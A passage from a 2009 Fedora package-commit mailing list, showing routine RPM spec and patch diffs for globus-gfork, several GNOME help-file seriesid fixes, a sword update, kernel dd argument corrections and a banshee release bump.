 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_SOURCES = $(Sources)
 libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LDFLAGS = $(GPT_LDFLAGS)
-libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = \
-    $(MODULE_LIBS) $(GPT_LIB_LINKS)
+libglobus_gfork___GLOBUS_FLAVOR_NAME__la_LIBADD = $(GPT_LIB_LINKS)
 
 sbin_PROGRAMS= \
     gfork

globus-gfork.patch:
 pkg_data_src.gpt.in |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE globus-gfork.patch ---
diff -ur globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in
--- globus_gfork-0.2.orig/pkgdata/pkg_data_src.gpt.in	2008-10-02 17:01:41.000000000 +0200
+++ globus_gfork-0.2/pkgdata/pkg_data_src.gpt.in	2009-07-28 05:35:24.334708299 +0200
@@ -44,5 +44,3 @@
     </src_pkg>
 
 </gpt_package_metadata>
-~
-~


--- NEW FILE globus-gfork.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gfork
%global _name %(tr - _ <<< %{name})
Version:	0.2
Release:	3%{?dist}
Summary:	Globus Toolkit - GFork

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gridftp/gfork/source globus_gfork-0.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gfork-0.2
#		tar -zcf globus_gfork-0.2.tar.gz globus_gfork-0.2
Source:		%{_name}-%{version}.tar.gz
#		Remove some junk lines in the package description file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6812
Patch0:		%{name}.patch
#		Undefined make variable:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6857
Patch1:		%{name}-undefined.patch
#		Fix location of default config file:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6875
Patch2:		%{name}-etc.patch
#		Fix cut & paste error in option description:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6879
Patch3:		%{name}-opts.patch

BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-xio-devel%{?_isa} >= 2

%package progs
Summary:	Globus Toolkit - GFork Programs
Group:		Applications/Internet
Requires:	%{name}%{?_isa} = %{version}-%{release}

%package devel
Summary:	Globus Toolkit - GFork Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-xio-devel%{?_isa} >= 2

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
GFork Library

%description progs
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-progs package contains:
GFork Programs - GFork is user configurable super-server daemon very similar
to xinetd. It listens on a TCP port. When clients connect to a port it runs an
administrator defined program which services that client connection, just as
x/inetd do.

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
GFork Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1
%patch1 -p1
%patch2 -p1
%patch3 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Add empty default configuration file
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}
echo "# This is the default gfork configuration file" > \
  $RPM_BUILD_ROOT%{_sysconfdir}/gfork.conf

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
  | sed s!^!%{_prefix}! > package-progs.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-progs.filelist progs
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/gfork.conf
%doc README.txt

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Fri Oct 16 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-3
- Fix location of default config file
- Add empty default config file

* Wed Oct 07 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-2
- Include additional documentation

* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.2-1
- Autogenerated


--- NEW FILE import.log ---
globus-gfork-0_2-3_fc11:EL-4:globus-gfork-0.2-3.fc11.src.rpm:1256615799


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:14:09 -0000	1.1
+++ .cvsignore	27 Oct 2009 03:57:07 -0000	1.2
@@ -0,0 +1 @@
+globus_gfork-0.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gfork/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:14:09 -0000	1.1
+++ sources	27 Oct 2009 03:57:07 -0000	1.2
@@ -0,0 +1 @@
+f5230d4520092e66dc307f83d93d65bb  globus_gfork-0.2.tar.gz



From mclasen at fedoraproject.org  Tue Oct 27 04:16:08 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 27 Oct 2009 04:16:08 +0000 (UTC)
Subject: rpms/krb5-auth-dialog/F-12 seriesid-clash.patch, NONE,
	1.1 krb5-auth-dialog.spec, 1.41, 1.42
Message-ID: <20091027041608.7C09711C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/krb5-auth-dialog/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17623

Modified Files:
	krb5-auth-dialog.spec 
Added Files:
	seriesid-clash.patch 
Log Message:
Fix a help file seriesid clash


seriesid-clash.patch:
 krb5-auth-dialog.omf.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE seriesid-clash.patch ---
diff -up krb5-auth-dialog-0.13/help/krb5-auth-dialog.omf.in.seriesid krb5-auth-dialog-0.13/help/krb5-auth-dialog.omf.in
--- krb5-auth-dialog-0.13/help/krb5-auth-dialog.omf.in.seriesid	2009-10-27 00:10:28.927799943 -0400
+++ krb5-auth-dialog-0.13/help/krb5-auth-dialog.omf.in	2009-10-27 00:12:23.014549879 -0400
@@ -30,7 +30,7 @@
     <description>
       User manual for the Kerberos Network Authentication Dialog
     </description>
-    <relation seriesid="62118a88-a670-11d9-9d16-8c554140c753"/>
+    <relation seriesid="08f1353f-49ce-d542-22ba-383c4275714f00"/>
     <language code="C"/>
     <rights type="GNU FDL" license.version="1.1" holder="Guido G?nther"/>
   </resource>


Index: krb5-auth-dialog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/krb5-auth-dialog/F-12/krb5-auth-dialog.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- krb5-auth-dialog.spec	21 Oct 2009 07:00:20 -0000	1.41
+++ krb5-auth-dialog.spec	27 Oct 2009 04:16:08 -0000	1.42
@@ -6,7 +6,7 @@
 Summary: Kerberos 5 authentication dialog
 Name: krb5-auth-dialog
 Version: 0.13
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: User Interface/X
 URL: https://honk.sigxcpu.org/piki/projects/krb5-auth-dialog/
@@ -28,12 +28,16 @@ Requires(pre): GConf2
 Requires(post): GConf2
 Requires(preun): GConf2
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=599725
+Patch0: seriesid-clash.patch
+
 %description
 This package contains a dialog that warns the user when their Kerberos
 tickets are about to expire and lets them renew them.
 
 %prep
 %setup -q
+%patch0 -p1 -b .seriesid
 
 %build
 %configure
@@ -82,6 +86,9 @@ if [ "$1" -eq 0 ]; then
 fi
 
 %changelog
+* Tue Oct 27 2009 Matthias Clasen <mclasen at redhat.com> - 0.13-2
+- Fix a clash with the help file seriesid
+
 * Wed Oct 21 2009 Mat?j Cepl <mcepl at redhat.com> - 0.13-1
 - New upstream release (fixes #530001)
 



From mclasen at fedoraproject.org  Tue Oct 27 04:21:55 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 27 Oct 2009 04:21:55 +0000 (UTC)
Subject: rpms/evince/F-12 seriesid-clash.patch, NONE, 1.1 evince.spec, 1.172,
	1.173
Message-ID: <20091027042155.98E0411C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/evince/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19262

Modified Files:
	evince.spec 
Added Files:
	seriesid-clash.patch 
Log Message:
Avoid a help file seriesid clash


seriesid-clash.patch:
 evince.omf.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE seriesid-clash.patch ---
diff -up evince-2.28.1/help/evince.omf.in.seriesid evince-2.28.1/help/evince.omf.in
--- evince-2.28.1/help/evince.omf.in.seriesid	2009-10-27 00:16:07.428826007 -0400
+++ evince-2.28.1/help/evince.omf.in	2009-10-27 00:16:23.490799799 -0400
@@ -5,7 +5,7 @@
     <type>
       user's guide
     </type>
-    <relation seriesid="62118a88-a670-11d9-9d16-8c554140c753"/>
+    <relation seriesid="0e6be85e-fbb1-6c10-d9c6-d0bc37d6a749e0"/>
     <rights type="GNU FDL" license.version="1.1" holder="Nickolay V. Shmyrev"/>
   </resource>
 </omf>


Index: evince.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evince/F-12/evince.spec,v
retrieving revision 1.172
retrieving revision 1.173
diff -u -p -r1.172 -r1.173
--- evince.spec	22 Oct 2009 13:53:30 -0000	1.172
+++ evince.spec	27 Oct 2009 04:21:54 -0000	1.173
@@ -6,7 +6,7 @@
 
 Name:		evince
 Version:	2.28.1
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:	Document viewer
 
 License:	GPLv2+ and GFDL
@@ -20,6 +20,8 @@ Patch0:		evince-pdf-print-revert.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=596888
 Patch1:         0001-Provide-some-indication-that-search-is-not-available.patch
 Patch2:		evince-thumbnail-allocation.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=599726
+Patch3:		seriesid-clash.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -112,6 +114,7 @@ This package contains a backend to let e
 # %patch1 -p0 -b .duplex-copies
 %patch1 -p1 -b .search-not-available
 %patch2 -p0 -b .thumbnail-allocation
+%patch3 -p1 -b .seriesid
 
 %build
 %configure --disable-static --disable-scrollkeeper \
@@ -266,6 +269,9 @@ fi
 %{_libdir}/evince/1/backends/djvudocument.evince-backend
 
 %changelog
+* Tue Oct 27 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-4
+- Avoid a help file seriesid clash
+
 * Thu Oct 22 2009 Marek Kasik <mkasik at redhat.com> - 2.28.1-3
 - Add evince-thumbnail-allocation.patch (checks whether
 - GdkPixbuf was allocated correctly)



From deji at fedoraproject.org  Tue Oct 27 04:26:16 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Tue, 27 Oct 2009 04:26:16 +0000 (UTC)
Subject: rpms/sword/EL-5 .cvsignore, 1.4, 1.5 sources, 1.4, 1.5 sword.spec, 
	1.16, 1.17
Message-ID: <20091027042616.C0C7111C00E6@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/sword/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20003

Modified Files:
	.cvsignore sources sword.spec 
Log Message:
* Mon Oct 26 2009 Deji Akingunola <dakingun at gmail.com> - 1.6.0-1
- Build for EPEL5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sword/EL-5/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	23 Nov 2006 18:43:32 -0000	1.4
+++ .cvsignore	27 Oct 2009 04:26:14 -0000	1.5
@@ -1 +1 @@
-sword-1.5.9.tar.gz
+sword-1.6.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sword/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	23 Nov 2006 18:43:32 -0000	1.4
+++ sources	27 Oct 2009 04:26:14 -0000	1.5
@@ -1 +1 @@
-e1f1af8c2add8310d0bbcddc9af523b8  sword-1.5.9.tar.gz
+292ca38b2427168b19d629b48a428dde  sword-1.6.0.tar.gz


Index: sword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sword/EL-5/sword.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sword.spec	20 Jan 2007 16:06:31 -0000	1.16
+++ sword.spec	27 Oct 2009 04:26:14 -0000	1.17
@@ -1,20 +1,20 @@
 Name:           sword           
-Version:        1.5.9
-Release:        4%{?dist}
+Version:        1.6.0
+Release:        1%{?dist}
 Summary:        Free Bible Software Project
 
 Group:          System Environment/Libraries
-License:        GPL
+License:        GPLv2
 URL:            http://www.crosswire.org/sword/
 Source0:        http://www.crosswire.org/ftpmirror/pub/sword/source/v1.5/sword-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-
 BuildRequires:  openssl-devel
 BuildRequires:  curl-devel
 BuildRequires:  zlib-devel
 BuildRequires:  libidn-devel
 BuildRequires:  libicu-devel icu
 BuildRequires:  clucene-core-devel
+BuildRequires:  cppunit-devel
 
 %description
 The SWORD Project is the CrossWire Bible Society's free Bible software
@@ -42,20 +42,21 @@ that uses the sword API, such as Gnomesw
 %setup -q
 
 %build
-%configure --disable-static --with-icu --with-lucene
-make 
-#%%{?_smp_mflags} sometimes causes build failure
+%configure --disable-static --with-icu
+sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
+sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
+make %{?_smp_mflags}
 
 
 %install
-rm -rf %buildroot
-make install DESTDIR=%buildroot
-%__mkdir_p %buildroot%_datadir/sword/modules
+rm -rf %{buildroot}
+make install DESTDIR=%{buildroot}
+mkdir -p %{buildroot}%{_datadir}/sword/modules
 
-find %buildroot%_libdir -type f -name "*.la" -exec rm -f {} ';'
+find %{buildroot} -type f -name "*.la" -exec rm -f {} ';'
 
 %clean
-rm -rf %buildroot
+rm -rf %{buildroot}
 
 
 %post -p /sbin/ldconfig
@@ -67,21 +68,23 @@ rm -rf %buildroot
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING ChangeLog INSTALL LICENSE NEWS README
 %doc samples doc
-%config(noreplace) %_sysconfdir/sword.conf
-%_bindir/*
-%_libdir/sword/
-%_libdir/libsword-%{version}.so
-%_datadir/sword
+%config(noreplace) %{_sysconfdir}/sword.conf
+%{_bindir}/*
+%{_libdir}/sword/
+%{_libdir}/libsword-%{version}.so
+%{_datadir}/sword
 
 %files devel
 %defattr(-,root,root,-)
 %doc CODINGSTYLE
-%_includedir/sword
-%_libdir/pkgconfig/sword.pc
-%_libdir/libsword.so
-
+%{_includedir}/sword
+%{_libdir}/pkgconfig/sword.pc
+%{_libdir}/libsword.so
 
 %changelog
+* Mon Oct 26 2009 Deji Akingunola <dakingun at gmail.com> - 1.6.0-1
+- Build for EPEL5
+
 * Sat Jan 20 2007 Deji Akingunola <dakingun at gmail.com> - 1.5.9-4
 - Fix an error (libicu-devel not icu-devel)
 



From mclasen at fedoraproject.org  Tue Oct 27 04:36:16 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 27 Oct 2009 04:36:16 +0000 (UTC)
Subject: rpms/gnome-applets/F-12 seriesid-clash.patch, NONE,
	1.1 gnome-applets.spec, 1.354, 1.355
Message-ID: <20091027043616.87BE811C02C7@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-applets/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22703

Modified Files:
	gnome-applets.spec 
Added Files:
	seriesid-clash.patch 
Log Message:
avoid help file seriesid clash


seriesid-clash.patch:
 invest-applet.omf.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE seriesid-clash.patch ---
diff -up gnome-applets-2.28.0/invest-applet/docs/invest-applet.omf.in.seriesid gnome-applets-2.28.0/invest-applet/docs/invest-applet.omf.in
--- gnome-applets-2.28.0/invest-applet/docs/invest-applet.omf.in.seriesid	2009-10-27 00:25:35.351806142 -0400
+++ gnome-applets-2.28.0/invest-applet/docs/invest-applet.omf.in	2009-10-27 00:29:15.578549690 -0400
@@ -3,7 +3,7 @@
   <resource>
     <subject category="GNOME|Applets|Utility"/>
     <type>user's guide</type>
-    <relation seriesid="df109296-40e7-11d6-935f-beaae1cfe4f9"/>
+    <relation seriesid="04cc2ede-586b-2643-7e6f-37a004e0fbd470"/>
     <rights type="GNU FDL" license.version="1.1" holder="Terence Hall"/>
   </resource>        
 </omf>


Index: gnome-applets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-applets/F-12/gnome-applets.spec,v
retrieving revision 1.354
retrieving revision 1.355
diff -u -p -r1.354 -r1.355
--- gnome-applets.spec	22 Sep 2009 03:28:49 -0000	1.354
+++ gnome-applets.spec	27 Oct 2009 04:36:14 -0000	1.355
@@ -33,7 +33,7 @@
 Summary:        Small applications for the GNOME panel
 Name:		gnome-applets
 Version:	2.28.0
-Release: 	1%{?dist}
+Release: 	2%{?dist}
 Epoch:          1
 License:	GPLv2+ and GFDL
 Group:          User Interface/Desktops
@@ -61,6 +61,9 @@ Patch41:	gnome-applets-no-mixer-icon.pat
 # do the nullapplet dance for stickynotes
 Patch42:	stickynotes-null.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=599728
+Patch44:	seriesid-clash.patch
+
 BuildRequires:  glib2-devel >= %{glib2_version}
 BuildRequires:  gtk2-devel >= %{gtk2_version}
 BuildRequires:  libgnomeui-devel >= %{libgnomeui_version}
@@ -150,6 +153,7 @@ tar xjf %{SOURCE2}
 %patch3 -p1 -b .ppp-command
 %patch34 -p1 -b .ppp-includes
 %patch35 -p1 -b .modemlights-libgnome
+%patch44 -p1 -b .seriesid
 
 autoreconf -i -f
 
@@ -342,6 +346,9 @@ fi
 
 
 %changelog
+* Tue Oct 27 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.0-2
+- Fix a help file seriesid clash between accessx-status and invest-applet
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.0-1
 - Update to 2.28.0
 



From mclasen at fedoraproject.org  Tue Oct 27 04:41:21 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 27 Oct 2009 04:41:21 +0000 (UTC)
Subject: rpms/gnome-device-manager/F-12 seriesid-clash.patch, NONE,
	1.1 gnome-device-manager.spec, 1.5, 1.6
Message-ID: <20091027044121.CA45411C02C6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-device-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25023

Modified Files:
	gnome-device-manager.spec 
Added Files:
	seriesid-clash.patch 
Log Message:
Avoid a help file seriesid clash


seriesid-clash.patch:
 gnome-device-manager.omf.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE seriesid-clash.patch ---
diff -up gnome-device-manager-0.2/help/gnome-device-manager.omf.in.seriesid gnome-device-manager-0.2/help/gnome-device-manager.omf.in
--- gnome-device-manager-0.2/help/gnome-device-manager.omf.in.seriesid	2009-10-27 00:37:02.404548927 -0400
+++ gnome-device-manager-0.2/help/gnome-device-manager.omf.in	2009-10-27 00:37:20.258550452 -0400
@@ -30,7 +30,7 @@
     <description>
       User manual for GNOME Device Manager
     </description>
-    <relation seriesid="01234567-a670-11d9-9d16-8c554140c753"/>
+    <relation seriesid="0a57db21-f503-82a0-2ebf-0f22a3d8350db0"/>
     <language code="C"/>
     <rights type="GNU FDL" license.version="1.1" holder="David Zeuthen"/>
   </resource>


Index: gnome-device-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-device-manager/F-12/gnome-device-manager.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- gnome-device-manager.spec	25 Jul 2009 00:37:13 -0000	1.5
+++ gnome-device-manager.spec	27 Oct 2009 04:41:21 -0000	1.6
@@ -9,12 +9,13 @@
 Summary: Graphical Device Manager Application
 Name: gnome-device-manager
 Version: 0.2
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: LGPLv2+ and GPLv2+
 Group: System Environment/Libraries
 URL: http://www.freedesktop.org/Software/hal
 Source0: http://hal.freedesktop.org/releases/%{name}-%{version}.tar.bz2
 Patch0: note-theming.patch
+Patch1: seriesid-clash.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: scrollkeeper
 BuildRequires: gnome-doc-utils
@@ -69,6 +70,7 @@ Development files for gnome-device-manag
 %prep
 %setup -q
 %patch0 -p1 -b .note-theming
+%patch1 -p1 -b .seriesid
 
 %build
 %configure
@@ -133,6 +135,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so.*
 
 %changelog
+* Tue Oct 27 2009 Matthias Clasen <mclasen at redhat.com> 0.2-6
+- Avoid a help file seriesid clash
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From airlied at fedoraproject.org  Tue Oct 27 04:55:24 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Tue, 27 Oct 2009 04:55:24 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec,1.1884,1.1885
Message-ID: <20091027045524.76AB711C00E6@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29539

Modified Files:
	kernel.spec 
Log Message:
* Tue Oct 27 2009 Dave Airlie <airlied at redhat.com>
- fix dd command lines



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1884
retrieving revision 1.1885
diff -u -p -r1.1884 -r1.1885
--- kernel.spec	26 Oct 2009 22:13:47 -0000	1.1884
+++ kernel.spec	27 Oct 2009 04:55:24 -0000	1.1885
@@ -1570,9 +1570,9 @@ BuildKernel() {
 %if %{with_dracut}
     # We estimate the size of the initramfs because rpm needs to take this size
     # into consideration when performing disk space calculations. (See bz #530778)
-    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img size=1M count=20
+    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img bs=1M count=20
 %else
-    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initrd-$KernelVer.img size=1M count=5
+    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initrd-$KernelVer.img bs=1M count=5
 %endif
     if [ -f arch/$Arch/boot/zImage.stub ]; then
       cp arch/$Arch/boot/zImage.stub $RPM_BUILD_ROOT/%{image_install_path}/zImage.stub-$KernelVer || :
@@ -2092,6 +2092,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 27 2009 Dave Airlie <airlied at redhat.com>
+- fix dd command lines
+
 * Mon Oct 26 2009 Dave Jones <davej at redhat.com>
 - Make a 20MB initramfs file so rpm gets its diskspace calculations right. (#530778)
 



From airlied at fedoraproject.org  Tue Oct 27 04:56:02 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Tue, 27 Oct 2009 04:56:02 +0000 (UTC)
Subject: rpms/kernel/devel kernel.spec,1.1833,1.1834
Message-ID: <20091027045602.0BCE011C00E6@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29704

Modified Files:
	kernel.spec 
Log Message:
* Tue Oct 27 2009 Dave Airlie <airlied at redhat.com>
- Get dd command line args correct.



Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1833
retrieving revision 1.1834
diff -u -p -r1.1833 -r1.1834
--- kernel.spec	26 Oct 2009 21:55:34 -0000	1.1833
+++ kernel.spec	27 Oct 2009 04:56:01 -0000	1.1834
@@ -1444,9 +1444,9 @@ BuildKernel() {
 %if %{with_dracut}
     # We estimate the size of the initramfs because rpm needs to take this size
     # into consideration when performing disk space calculations. (See bz #530778)
-    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img size=1M count=20
+    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img bs=1M count=20
 %else
-    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initrd-$KernelVer.img size=1M count=5
+    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initrd-$KernelVer.img bs=1M count=5
 %endif
     if [ -f arch/$Arch/boot/zImage.stub ]; then
       cp arch/$Arch/boot/zImage.stub $RPM_BUILD_ROOT/%{image_install_path}/zImage.stub-$KernelVer || :
@@ -1971,6 +1971,9 @@ fi
 # ##############################################################
 
 %changelog
+* Tue Oct 27 2009 Dave Airlie <airlied at redhat.com>
+- Get dd command line args correct.
+
 * Mon Oct 26 2009 Dave Jones <davej at redhat.com>
 - Make a 20MB initramfs file so rpm gets its diskspace calculations right. (#530778)
 



From ausil at fedoraproject.org  Tue Oct 27 05:23:20 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Tue, 27 Oct 2009 05:23:20 +0000 (UTC)
Subject: rpms/banshee/F-12 banshee.spec,1.83,1.84
Message-ID: <20091027052320.884FD11C00E6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/banshee/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4270

Modified Files:
	banshee.spec 
Log Message:
actually bump



Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/F-12/banshee.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- banshee.spec	26 Oct 2009 21:36:57 -0000	1.83
+++ banshee.spec	27 Oct 2009 05:23:20 -0000	1.84
@@ -3,7 +3,7 @@
 
 Name:    banshee
 Version: %{mainver}%{?patchver}
-Release: 1%{?dist}
+Release: 2%{?dist}
